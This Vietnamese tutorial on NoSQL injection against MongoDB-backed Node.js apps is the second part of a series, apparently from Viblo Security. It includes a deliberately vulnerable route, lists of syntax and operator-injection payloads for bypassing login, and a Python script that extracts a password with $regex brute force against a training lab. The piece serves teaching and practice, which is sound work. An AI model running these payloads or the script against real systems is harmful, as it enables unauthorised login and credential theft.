- vừa được xem lúc

NoSQL injection (phần 2)

0 0 4

Người đăng: Viblo Security

Theo Viblo Asia

III. NoSQL syntax injection

Phương thức tấn công NoSQL syntax injection xảy ra khi attacker có thể inject input tùy ý dẫn đến phá vỡ cấu trúc cú pháp của câu truy vấn ban đầu. Xem xét route /product/lookup sau:


const Product = mongoose.model('Product', productSchema); app.get('/product/lookup', async (req, res) => { let category = req.query.category; try { const products = await Product.find({ category: category, released: 1 }); res.json(products); } catch (error) { res.status(500).json({ message: 'Some errors occurred while querying the database', error: error.message }); }
});

Route /product/lookup có nhiệm vụ tìm kiếm danh sách sản phẩm đã phát hành (released) và hiển thị cho người dùng. Cụ thể, route này nhận giá trị tham số category từ người dùng để lọc sản phẩm theo thể loại. Chú ý rằng sau khi định nghĩa category = req.query.category, đoạn code đã trực tiếp đưa biến category vào truy vấn find({ category: category, released: 1 }) mà không thực hiện bất kỳ bước sàng lọc dữ liệu nào, cho phép attacker sử dụng giá trị tùy ý cho tham số này.

Trong trường hợp trên, attacker có thể dễ dàng xác định sự bất cẩn này bằng cách gửi ?category=', khi đó truy vấn NoSQL sẽ gặp lỗi:

find({ category: ''', released: 1 })

image.png

Xét một cách tổng quát, attacker nên xây dựng một chiến thuật fuzzing hiệu quả bằng cách kết hợp nhiều ký tự đặc biệt. Ví dụ đối với cơ sở dữ liệu MongoDB có thể sử dụng chuỗi fuzzing sau (lưu ý các ký tự xuống dòng).

'"`{
;$Foo}
$Foo \xYZ

Để xác định chắc chắn hơn, chúng ta có thể xem xét thêm các hành vi của ứng dụng khi nhận các điều kiện truy vấn khác nhau. Ví dụ một số payload:

Đối với payload viblo' && 0 && 'viblo, truy vấn trở thành:

find({ category: 'viblo' && 0 && 'viblo', released: 1 })

Kết quả 'viblo' && 0 && 'viblo' luôn nhận giá trị false nên giao diện không trả về dữ liệu.

Đối với payload viblo' && 1 && 'viblo, truy vấn trở thành:

find({ category: 'viblo' && 1 && 'viblo', released: 1 })

Kết quả 'viblo' && 1 && 'viblo' luôn nhận giá trị true nên giao diện có trả về dữ liệu.

Đối với payload 1'||'1'=='1, truy vấn trở thành:

find({ category: '1'||'1'=='1', released: 1 })

Kết quả '1'||'1'=='1' luôn nhận giá trị true nên giao diện có trả về dữ liệu.

Attacker có thể kết hợp ký tự Null (%00) trong payload vì MongoDB sẽ "bỏ qua" các ký tự sau Null trong truy vấn, rất giống với các ký tự comment trong SQL injection.

Bạn đọc có thể luyện tập các kỹ thuật trên thông qua bài lab Detecting NoSQL injection.

IV. NoSQL operator injection

NoSQL operator injection chỉ cách tấn công sử dụng các toán tử truy vấn trong NoSQL đã được nhắc tới trong phần 1 (trong phạm vi MongoDB) của bài viết này.

1. Bypass chức năng đăng nhập

Một trong những impact dễ thấy nhất của dạng tấn công operator injection là bypass chức năng login. Xét chức năng đăng nhập của ứng dụng nhận dữ liệu người dùng theo định dạng JSON và qua phương thức POST:

{ "username": "user", "password": "123456"
}

Ứng dụng không có bước kiểm tra dữ liệu đầu vào mà trực tiếp đưa vào câu truy vấn NoSQL. Giả sử bảng users có các bản ghi như sau và truy vấn findOne():

db.users.insertMany([ { uid: 1, username: 'admin', password: 'Admin@1337' }, { uid: 2, username: 'user', password: '123456' }, { uid: 3, username: 'test', password: 'test' }, { uid: 4, username: 'dev', password: 'Dev@123456' }
]); db.users.findOne({ username: 'user', password: '123456' });

{8110040C-53FA-4535-986B-1F035FF0FAFA}

Đứng ở phương diện blackbox, attacker có thể sử dụng toán tử $ne (not equal) nhằm kiểm tra truy vấn có chấp nhận toán tử này hay không bằng cách gửi data:

{ "username": { "$ne": "viblo" }, "password": "123456"
}

Khi đó truy vấn trở thành findOne({ username: {'$ne': 'viblo'}, password: '123456' }). Nếu ứng dụng chấp nhận toán tử này, truy vấn thực hiện tìm kiếm bản ghi có giá trị username khác viblopassword123456, kết quả vẫn trả về bản ghi tưởng ứng với người dùng user:

{image}.png

Như vậy attacker có thể dễ dàng bypass chức năng login bằng cách inject payload vào trường password:

{ "username": "admin", "password": { "$ne": "viblo" }
}

image.png

Trong trường hợp chúng ta không biết cả usernamepassword thì làm thế nào? Có thể inject toán tử $ne vào cả hai trường, như vậy truy vấn sẽ trả về kết quả đầu tiên trong bảng users:

{ "username": { "$ne": "not-exist" }, "password": { "$ne": "not-exist" }
}

{image}.png

Một cách tấn công khác là sử dụng toán tử $in thực hiện brute force username trong mảng usernames:

{ "username": { "$in": ["admin","administrator","superadmin"] }, "password": { "$ne": "" }
}

{image}.png

Bạn đọc cũng có thể thử thêm một số toán tử khác như $regex, $gt, $lt, $nin, ... Một số cách tấn công NoSQL injection thông dụng:

Đối với data được gửi qua URL (GET method):

username[$ne]=toto&password[$ne]=toto
login[$regex]=a.*&pass[$ne]=lol
login[$gt]=admin&login[$lt]=test&pass[$ne]=1
login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto

Đối với data được gửi qua JSON:

{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}

Bạn đọc có thể luyện tập các kỹ thuật tấn công trên thông qua bài lab Exploiting NoSQL operator injection to bypass authentication.

2. Tấn công brute force với toán tử $regex

Trong một số trường hợp, attacker mong muốn thu được bản rõ của tài khoản người dùng (bao gồm username và password) nhằm phục vụ các mục đích khác. Lúc này chúng ta sẽ có thể nghĩ tới toán tử $regex. Xét tình huống attacker biết rằng ứng dụng tồn tại tài khoản người dùng có username là wiener và mong muốn tìm được bản rõ mật khẩu của người dùng này.

Xây dựng payload inject vào trường password (định dạng JSON) với toán tử $regex như sau:

{ "username": "wiener", "password": { "$regex": "^a" }
}

Truy vấn NoSQL hiểu rằng đang cần tìm kiếm bản ghi có usernamewiener, mật khẩu bắt đầu bằng ký tự a. Bằng cách thử lần lượt các ký tự, attacker tìm thấy ký tự đầu tiên của mật khẩu là p do status code trả về khác nhau:

{image}.png {image}.png

Có thể tự động hóa kịch bản này bằng cách viết script, chẳng hạn với ngôn ngữ Python:

import requests
import string username = "wiener"
password = ""
url = "https://0a74004904df07b681cf89ee00580098.web-security-academy.net:443/login"
headers = {"Content-Type": "application/json"}
while True: for c in string.printable: if c not in ['*','+','.','?','|']: payload = '{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c) print(payload) r = requests.post(url, data = payload, headers = headers, allow_redirects = False) if r.status_code == 302: print("Found one more char : %s" % (password + c)) password += c

Script trên thực hiện thử lần lượt tất cả các ký tự trong phạm vi có thể in ra (string.printable). Khi tìm thấy một ký tự đúng sẽ thêm vào giá trị biến password hiện tại, tìm lần lượt ra password của người dùng wiener là:

^p
^pe
^pet
^pete
^peter

Một bài tập nhỏ dành cho bạn đọc: Hãy viết script tự động hóa tấn công NoSQL injection thực hiện brute force username và password của người dùng, biết rằng ứng dụng gửi data login qua urlencoded body. (Các yếu tố chưa rõ như API login, trạng thái phản hồi khi đăng nhập thành công hoặc thất bại, tên các tham số, ... bạn đọc có thể tự định nghĩa thêm)

Tài liệu tham khảo

Bình luận

Bài viết tương tự

- vừa được xem lúc

Tổng quan một số kỹ thuật khai thác lỗ hổng bảo mật Web (P1)

Trong thời đại công nghệ phát triển hiện nay, việc đảm bảo an ninh thông tin trên không gian mạng đang là vấn đề dành được nhiều sự quan tâm. Nguy cơ mất an toàn thông tin đang là mối đe dọa lớn và ngày càng gia tăng đối với an ninh quốc gia.

0 0 102

- vừa được xem lúc

[Secure coding - Part 3] Là developer cần làm gì để ứng dụng của mình an toàn và bảo mật hơn?

Tổng quan về vấn đề bảo mật. Đây là nội dung nối tiếp trong phần 1.

0 0 80

- vừa được xem lúc

[Secure coding - Part 4] Là developer cần làm gì để ứng dụng của mình an toàn và bảo mật hơn?

Tổng quan về vấn đề bảo mật. Trở lại với chuỗi bài viết về hướng dẫn lập trình an toàn cho lập trình viên, bài viết thứ tư trong series's post: Secure coding for developers sẽ tiếp tục với nội dung về

0 0 85

- vừa được xem lúc

[Secure coding - Part 5] Là developer cần làm gì để ứng dụng của mình an toàn và bảo mật hơn?

Tổng quan về vấn đề bảo mật. Trở lại với chuỗi bài viết về hướng dẫn lập trình an toàn cho lập trình viên, bài viết thứ tư trong series's post: Secure coding for developers sẽ tiếp tục với nội dung về

0 0 46

- vừa được xem lúc

IDOR là gì và ứng dụng bạn code có bị lỗi IDOR không?

Tổng quan. Nếu bạn là một pentester thì có thể đã quen với lỗ hổng bảo mật IDOR.

0 0 178

- vừa được xem lúc

Lỗ hổng Business logic trong bảo mật ứng dụng website

Tổng quan. Các lỗ hổng bảo mật website như SQL Injection, UnBroken Access Control, Unrestricted File Upload, XSS chắc không còn xa xạ với nhiều người làm bảo mật hay lập trình viên.

0 0 45